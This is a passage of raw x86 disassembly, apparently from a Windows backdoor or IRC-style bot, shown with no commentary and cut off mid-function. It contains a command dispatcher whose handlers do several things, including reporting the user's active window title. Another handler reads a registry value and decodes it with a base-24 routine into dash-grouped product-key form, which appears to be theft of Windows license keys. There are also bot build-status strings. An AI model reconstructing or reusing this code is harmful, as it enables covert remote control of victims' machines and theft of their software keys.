sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: .data:0041AE78o ; .data:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset aALSsSCJEKi ; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›" lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA40 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC00 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA20 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA 